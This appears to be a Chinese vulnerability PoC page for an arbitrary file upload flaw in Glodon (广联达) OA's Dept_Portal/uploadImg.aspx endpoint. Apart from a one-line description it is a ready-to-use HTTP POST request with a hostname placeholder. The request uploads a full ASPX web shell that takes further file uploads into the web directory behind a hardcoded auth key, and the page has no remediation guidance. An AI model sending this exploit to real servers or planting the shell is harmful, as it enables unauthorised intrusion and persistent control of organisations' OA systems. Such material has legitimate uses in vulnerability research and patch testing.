广联达OA Dept_Portal/uploadImg.aspx 任意文件上传漏洞

漏洞描述

联达OA Dept_Portal/uploadImg.aspx存在任意文件上传漏洞
PoC代码

POST /Dept_Portal/uploadImg.aspx HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 4290
Content-Type: multipart/form-data; boundary=842ecab4f052c3c066727b1560f7ca05
User-Agent: python-requests/2.32.3

--842ecab4f052c3c066727b1560f7ca05
Content-Disposition: form-data; name="file"; filename="720713888639234.aspx"
Content-Type: application/octet-stream

<% Response.Write("SHELL READY"); %>
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">
    private const string AUTHKEY = "qoo";
    private const string HEADER = "<html>\n<head>\n<title>filesystembrowser</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n";
    private const string FOOTER = "</body>\n</html>\n";

    /// <summary>
    /// 
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            if (Request.Params["authkey"] == null)
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
                return;
            }

            if (Request.Params["authkey"] != AUTHKEY)
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
                return;
            }
            
            if (Request.Params["operation"] != null)
            {
                if (Request.Params["operation"] == "upload")
                {
                    Response.Write(HEADER);
                    Response.Write(this.UploadFile());
                    Response.Write(FOOTER);
                }
                else
                {
                    Response.Write(HEADER);
                    Response.Write("Unknown operation");
                    Response.Write(FOOTER);
                }
            }
            else
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
            }
        }
        catch (Exception ex)
        {
            Response.Write(HEADER);
            Response.Write(ex.Message);
            Response.Write(FOOTER);
        }
    }

    /// <summary>
    /// 
    /// </summary>
    private string UploadFile()
    {
        try
        {
            if (Request.Params["authkey"] == null)
            {
                return string.Empty;
            }

            if (Request.Params["authkey"] != AUTHKEY)
            {
                return string.Empty;
            }
            
            if (Request.Files.Count != 1)
            {
                return "No file selected";
            }

            HttpPostedFile httpPostedFile = Request.Files[0];

            int fileLength = httpPostedFile.ContentLength;
            byte[] buffer = new byte[fileLength];
            httpPostedFile.InputStream.Read(buffer, 0, fileLength);

            FileInfo fileInfo = new FileInfo(Request.PhysicalPath);
            using (FileStream fileStream = new FileStream(Path.Combine(fileInfo.DirectoryName, Path.GetFileName(httpPostedFile.FileName)), FileMode.Create))
            {
                fileStream.Write(buffer, 0, buffer.Length);
            }

            return "File uploaded. Path: " + fileInfo.DirectoryName + "\\" + httpPostedFile.FileName;
        }
        catch (Exception ex)
        {
            return ex.ToString();
        }
    }

    /// <summary>
    /// 
    /// </summary>
    /// <returns></returns>
    private string GetUploadControls()
    {
        string temp = string.Empty;

        temp = "<form enctype=\"multipart/form-data\" action=\"?operation=upload\" method=\"post\">";
        temp += "<br>Auth Key: <input type=\"text\" name=\"authKey\"><br>";
        temp += "<br>Please specify a file: <input type=\"file\" name=\"file\"></br>";
        temp += "<div><input type=\"submit\" value=\"Send\"></div>";
        temp += "</form>";

        return temp;
    }
</script>
--842ecab4f052c3c066727b1560f7ca05--
漏洞描述

PoC代码

相关漏洞推荐
